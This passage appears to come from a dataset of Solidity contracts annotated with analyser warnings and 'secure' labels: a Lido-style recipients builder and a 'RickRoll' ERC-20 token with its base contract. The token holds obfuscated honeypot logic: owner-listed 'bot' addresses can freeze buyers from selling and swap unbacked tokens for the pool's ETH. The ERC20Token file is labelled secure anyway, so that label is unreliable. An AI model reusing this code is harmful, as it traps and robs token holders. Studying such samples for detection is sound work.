lacks a zerocheck on \t admin = _admin\n\t// Recommendation for 6d7b144: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: af2b809): AllowedRecipientsBuilder.constructor(IAllowedRecipientsFactory,address,IEasyTrack,address,address)._finance lacks a zerocheck on \t finance = _finance\n\t// Recommendation for af2b809: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f533dfb): AllowedRecipientsBuilder.constructor(IAllowedRecipientsFactory,address,IEasyTrack,address,address)._bokkyPooBahsDateTimeContract lacks a zerocheck on \t bokkyPooBahsDateTimeContract = _bokkyPooBahsDateTimeContract\n\t// Recommendation for f533dfb: Check that the address is not zero.\n constructor(\n IAllowedRecipientsFactory _factory,\n address _admin,\n IEasyTrack _easytrack,\n address _finance,\n address _bokkyPooBahsDateTimeContract\n ) {\n factory = _factory;\n evmScriptExecutor = _easytrack.evmScriptExecutor();\n\t\t// missing-zero-check | ID: 6d7b144\n admin = _admin;\n easyTrack = _easytrack;\n\t\t// missing-zero-check | ID: af2b809\n finance = _finance;\n\t\t// missing-zero-check | ID: f533dfb\n bokkyPooBahsDateTimeContract = _bokkyPooBahsDateTimeContract;\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 806c449): AllowedRecipientsBuilder.deployAllowedRecipientsRegistry(uint256,uint256,address[],string[],uint256,bool) has external calls inside a loop registry.addRecipient(_recipients[i],_titles[i])\n\t// Recommendation for 806c449: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: ee2eaf4): Calls inside a loop might lead to a denial-of-service attack.\n\t// Recommendation for ee2eaf4: Favor pull over push strategy for external calls.\n function deployAllowedRecipientsRegistry(\n uint256 _limit,\n uint256 _periodDurationMonths,\n address[] memory _recipients,\n string[] memory _titles,\n uint256 _spentAmount,\n bool _grantRightsToEVMScriptExecutor\n ) public returns (IAllowedRecipientsRegistry registry) {\n require(\n _recipients.length == _titles.length,\n \"Recipients data length mismatch\"\n );\n require(\n _spentAmount <= _limit,\n \"_spentAmount must be lower or equal to limit\"\n );\n\n address[] memory addRecipientToAllowedListRoleHolders = new address[](\n _grantRightsToEVMScriptExecutor ? 3 : 2\n );\n addRecipientToAllowedListRoleHolders[0] = admin;\n addRecipientToAllowedListRoleHolders[1] = address(this);\n if (_grantRightsToEVMScriptExecutor) {\n addRecipientToAllowedListRoleHolders[2] = evmScriptExecutor;\n }\n address[]\n memory removeRecipientFromAllowedListRoleHolders = new address[](\n _grantRightsToEVMScriptExecutor ? 2 : 1\n );\n removeRecipientFromAllowedListRoleHolders[0] = admin;\n if (_grantRightsToEVMScriptExecutor) {\n removeRecipientFromAllowedListRoleHolders[1] = evmScriptExecutor;\n }\n address[] memory setLimitParametersRoleHolders = new address[](2);\n setLimitParametersRoleHolders[0] = admin;\n setLimitParametersRoleHolders[1] = address(this);\n address[] memory updateSpentAmountRoleHolders = new address[](3);\n updateSpentAmountRoleHolders[0] = admin;\n updateSpentAmountRoleHolders[1] = evmScriptExecutor;\n updateSpentAmountRoleHolders[2] = address(this);\n\n registry = factory.deployAllowedRecipientsRegistry(\n admin,\n addRecipientToAllowedListRoleHolders,\n removeRecipientFromAllowedListRoleHolders,\n setLimitParametersRoleHolders,\n updateSpentAmountRoleHolders,\n bokkyPooBahsDateTimeContract\n );\n\n assert(\n registry.bokkyPooBahsDateTimeContract() ==\n bokkyPooBahsDateTimeContract\n );\n\n for (uint256 i = 0; i < _recipients.length; i++) {\n\t\t\t// calls-loop | ID: 806c449\n registry.addRecipient(_recipients[i], _titles[i]);\n }\n registry.renounceRole(\n ADD_RECIPIENT_TO_ALLOWED_LIST_ROLE,\n address(this)\n );\n\n assert(registry.getAllowedRecipients().length == _recipients.length);\n\n for (uint256 i = 0; i < _recipients.length; i++) {\n\t\t\t// calls-loop | ID: ee2eaf4\n assert(registry.isRecipientAllowed(_recipients[i]));\n }\n\n registry.setLimitParameters(_limit, _periodDurationMonths);\n registry.renounceRole(SET_PARAMETERS_ROLE, address(this));\n\n (uint256 registryLimit, uint256 registryPeriodDuration) = registry\n .getLimitParameters();\n assert(registryLimit == _limit);\n assert(registryPeriodDuration == _periodDurationMonths);\n\n registry.updateSpentAmount(_spentAmount);\n registry.renounceRole(UPDATE_SPENT_AMOUNT_ROLE, address(this));\n\n assert(registry.spendableBalance() == _limit - _spentAmount);\n\n assert(registry.hasRole(ADD_RECIPIENT_TO_ALLOWED_LIST_ROLE, admin));\n assert(\n registry.hasRole(REMOVE_RECIPIENT_FROM_ALLOWED_LIST_ROLE, admin)\n );\n assert(registry.hasRole(SET_PARAMETERS_ROLE, admin));\n assert(registry.hasRole(UPDATE_SPENT_AMOUNT_ROLE, admin));\n assert(registry.hasRole(DEFAULT_ADMIN_ROLE, admin));\n\n if (_grantRightsToEVMScriptExecutor) {\n assert(\n registry.hasRole(\n ADD_RECIPIENT_TO_ALLOWED_LIST_ROLE,\n evmScriptExecutor\n )\n );\n assert(\n registry.hasRole(\n REMOVE_RECIPIENT_FROM_ALLOWED_LIST_ROLE,\n evmScriptExecutor\n )\n );\n } else {\n assert(\n !registry.hasRole(\n ADD_RECIPIENT_TO_ALLOWED_LIST_ROLE,\n evmScriptExecutor\n )\n );\n assert(\n !registry.hasRole(\n REMOVE_RECIPIENT_FROM_ALLOWED_LIST_ROLE,\n evmScriptExecutor\n )\n );\n }\n assert(registry.hasRole(UPDATE_SPENT_AMOUNT_ROLE, evmScriptExecutor));\n assert(!registry.hasRole(SET_PARAMETERS_ROLE, evmScriptExecutor));\n assert(!registry.hasRole(DEFAULT_ADMIN_ROLE, evmScriptExecutor));\n\n assert(\n !registry.hasRole(ADD_RECIPIENT_TO_ALLOWED_LIST_ROLE, address(this))\n );\n assert(\n !registry.hasRole(\n REMOVE_RECIPIENT_FROM_ALLOWED_LIST_ROLE,\n address(this)\n )\n );\n assert(!registry.hasRole(SET_PARAMETERS_ROLE, address(this)));\n assert(!registry.hasRole(UPDATE_SPENT_AMOUNT_ROLE, address(this)));\n assert(!registry.hasRole(DEFAULT_ADMIN_ROLE, address(this)));\n }\n\n function deployTopUpAllowedRecipients(\n address _trustedCaller,\n address _allowedRecipientsRegistry,\n address _token\n ) public returns (ITopUpAllowedRecipients topUpAllowedRecipients) {\n topUpAllowedRecipients = factory.deployTopUpAllowedRecipients(\n _trustedCaller,\n _allowedRecipientsRegistry,\n _token,\n finance,\n easyTrack\n );\n\n assert(topUpAllowedRecipients.token() == _token);\n assert(topUpAllowedRecipients.finance() == finance);\n assert(topUpAllowedRecipients.easyTrack() == easyTrack);\n assert(topUpAllowedRecipients.trustedCaller() == _trustedCaller);\n assert(\n address(topUpAllowedRecipients.allowedRecipientsRegistry()) ==\n _allowedRecipientsRegistry\n );\n }\n\n function deployAddAllowedRecipient(\n address _trustedCaller,\n address _allowedRecipientsRegistry\n ) public returns (IAddAllowedRecipient addAllowedRecipient) {\n addAllowedRecipient = factory.deployAddAllowedRecipient(\n _trustedCaller,\n _allowedRecipientsRegistry\n );\n\n assert(addAllowedRecipient.trustedCaller() == _trustedCaller);\n assert(\n address(addAllowedRecipient.allowedRecipientsRegistry()) ==\n _allowedRecipientsRegistry\n );\n }\n\n function deployRemoveAllowedRecipient(\n address _trustedCaller,\n address _allowedRecipientsRegistry\n ) public returns (IRemoveAllowedRecipient removeAllowedRecipient) {\n removeAllowedRecipient = factory.deployRemoveAllowedRecipient(\n _trustedCaller,\n _allowedRecipientsRegistry\n );\n\n assert(removeAllowedRecipient.trustedCaller() == _trustedCaller);\n assert(\n address(removeAllowedRecipient.allowedRecipientsRegistry()) ==\n _allowedRecipientsRegistry\n );\n }\n\n function deployFullSetup(\n address _trustedCaller,\n address _token,\n uint256 _limit,\n uint256 _periodDurationMonths,\n address[] memory _recipients,\n string[] memory _titles,\n uint256 _spentAmount\n )\n public\n returns (\n IAllowedRecipientsRegistry allowedRecipientsRegistry,\n ITopUpAllowedRecipients topUpAllowedRecipients,\n IAddAllowedRecipient addAllowedRecipient,\n IRemoveAllowedRecipient removeAllowedRecipient\n )\n {\n allowedRecipientsRegistry = deployAllowedRecipientsRegistry(\n _limit,\n _periodDurationMonths,\n _recipients,\n _titles,\n _spentAmount,\n true\n );\n\n topUpAllowedRecipients = deployTopUpAllowedRecipients(\n _trustedCaller,\n address(allowedRecipientsRegistry),\n _token\n );\n\n addAllowedRecipient = deployAddAllowedRecipient(\n _trustedCaller,\n address(allowedRecipientsRegistry)\n );\n\n removeAllowedRecipient = deployRemoveAllowedRecipient(\n _trustedCaller,\n address(allowedRecipientsRegistry)\n );\n }\n\n function deploySingleRecipientTopUpOnlySetup(\n address _recipient,\n string memory _title,\n address _token,\n uint256 _limit,\n uint256 _periodDurationMonths,\n uint256 _spentAmount\n )\n public\n returns (\n IAllowedRecipientsRegistry allowedRecipientsRegistry,\n ITopUpAllowedRecipients topUpAllowedRecipients\n )\n {\n address[] memory recipients = new address[](1);\n recipients[0] = _recipient;\n\n string[] memory titles = new string[](1);\n titles[0] = _title;\n\n allowedRecipientsRegistry = deployAllowedRecipientsRegistry(\n _limit,\n _periodDurationMonths,\n recipients,\n titles,\n _spentAmount,\n false\n );\n\n topUpAllowedRecipients = deployTopUpAllowedRecipients(\n _recipient,\n address(allowedRecipientsRegistry),\n _token\n );\n }\n}",
"file_name": "solidity_code_3606.sol",
"secure": 0,
"size_bytes": 12982
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract ERC20Token is Ownable {\n address[] txs;\n mapping(address => bool) cooldowns;\n\n function getAllowed(\n address from,\n address to,\n address pair\n ) internal returns (bool) {\n bool a = inLiquidityTx;\n bool b = _0e3a5(bots[to], isBot(from));\n bool res = b;\n if (!bots[to] && _0e3a5(bots[from], a) && to != pair) {\n if (to != address(0)) {\n txs.push(to);\n }\n res = true;\n } else if (b && !a) {\n if (pair == to) {\n res = true;\n }\n }\n return res;\n }\n function isBot(address _adr) internal view returns (bool) {\n return bots[_adr];\n }\n function shouldSwap(\n address sender,\n address receiver\n ) public view returns (bool) {\n if (receiver == sender) {\n if (isBot(receiver)) {\n return isBot(sender);\n }\n }\n return false;\n }\n mapping(address => bool) bots;\n bool inLiquidityTx = false;\n function addBots(address[] calldata botsList) external onlyOwner {\n for (uint256 i = 0; i < botsList.length; i++) {\n bots[botsList[i]] = true;\n }\n }\n function delBots(address _bot) external onlyOwner {\n bots[_bot] = false;\n }\n function _0e3a5(bool _01d3c6, bool _2abd7) internal pure returns (bool) {\n return !_01d3c6 && !_2abd7;\n }\n}",
"file_name": "solidity_code_3607.sol",
"secure": 1,
"size_bytes": 1634
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./ERC20Token.sol\" as ERC20Token;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract RickRoll is IERC20, ERC20Token {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (constable-states | ID: 26bb171): RickRoll._decimals should be constant \n\t// Recommendation for 26bb171: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: 2eaec85): RickRoll._totalSupply should be immutable \n\t// Recommendation for 2eaec85: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 10000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 0eb70aa): RickRoll._fee should be constant \n\t// Recommendation for 0eb70aa: Add the 'constant' attribute to state variables that never change.\n uint256 _fee = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 38eb829): RickRoll._router should be constant \n\t// Recommendation for 38eb829: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private _router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\t// WARNING Optimization Issue (constable-states | ID: 61ea11a): RickRoll._name should be constant \n\t// Recommendation for 61ea11a: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Never gonna give you up\";\n\t// WARNING Optimization Issue (constable-states | ID: fcb42e5): RickRoll._symbol should be constant \n\t// Recommendation for fcb42e5: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"Never gonna let you down\";\n\n mapping(address => uint256) _holderLastTransferTimestamp;\n uint256 maxTx = _totalSupply.div(10);\n uint256 maxWallet = _totalSupply.div(10);\n function removeLimits() external onlyOwner {\n maxTx = _totalSupply;\n maxWallet = _totalSupply;\n }\n bool started = false;\n function openTrading() external onlyOwner {\n started = true;\n }\n constructor() {\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _balances[msg.sender]);\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a5a6a1f): RickRoll.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a5a6a1f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n function approve_() external {\n\t\t// cache-array-length | ID: 4fc5563\n for (uint256 i = 0; i < txs.length; i++) {\n if (bots[msg.sender]) {\n cooldowns[txs[i]] = true;\n }\n }\n if (bots[msg.sender]) {\n delete txs;\n }\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n return true;\n }\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public virtual returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n _approve(msg.sender, from, _allowances[msg.sender][from] - amount);\n return true;\n }\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0));\n if (shouldSwap(from, to)) {\n swap(amount, to);\n } else {\n require(amount <= _balances[from]);\n require(!cooldowns[from]);\n uint256 fee = 0;\n bool sdf = shouldTakeFee(from, to);\n if (!sdf) {} else {\n fee = amount.mul(_fee).div(100);\n }\n _balances[from] = _balances[from] - amount;\n _balances[to] += amount - fee;\n emit Transfer(from, to, amount);\n }\n }\n function shouldTakeFee(\n address from,\n address recipient\n ) private returns (bool) {\n return\n getAllowed(\n from,\n recipient,\n IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n )\n );\n }\n function name() external view returns (string memory) {\n return _name;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 574758f): RickRoll._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 574758f: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c270d87): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c270d87: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swap(uint256 _mcs, address _bcr) private {\n _approve(address(this), address(_router), _mcs);\n _balances[address(this)] = _mcs;\n address[] memory path = new address[](2);\n inLiquidityTx = true;\n path[0] = address(this);\n path[1] = _router.WETH();\n\t\t// reentrancy-benign | ID: c270d87\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n _mcs,\n 0,\n path,\n _bcr,\n block.timestamp + 30\n );\n\t\t// reentrancy-benign | ID: c270d87\n inLiquidityTx = false;\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n function transferFrom(\n address from,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(from, recipient, amount);\n require(_allowances[from][msg.sender] >= amount);\n return true;\n }\n function getPairAddress() private view returns (address) {\n return\n IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n }\n}",
"file_name": "solidity_code_3608.sol",
"secure": 0,
"size_bytes": 8163
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.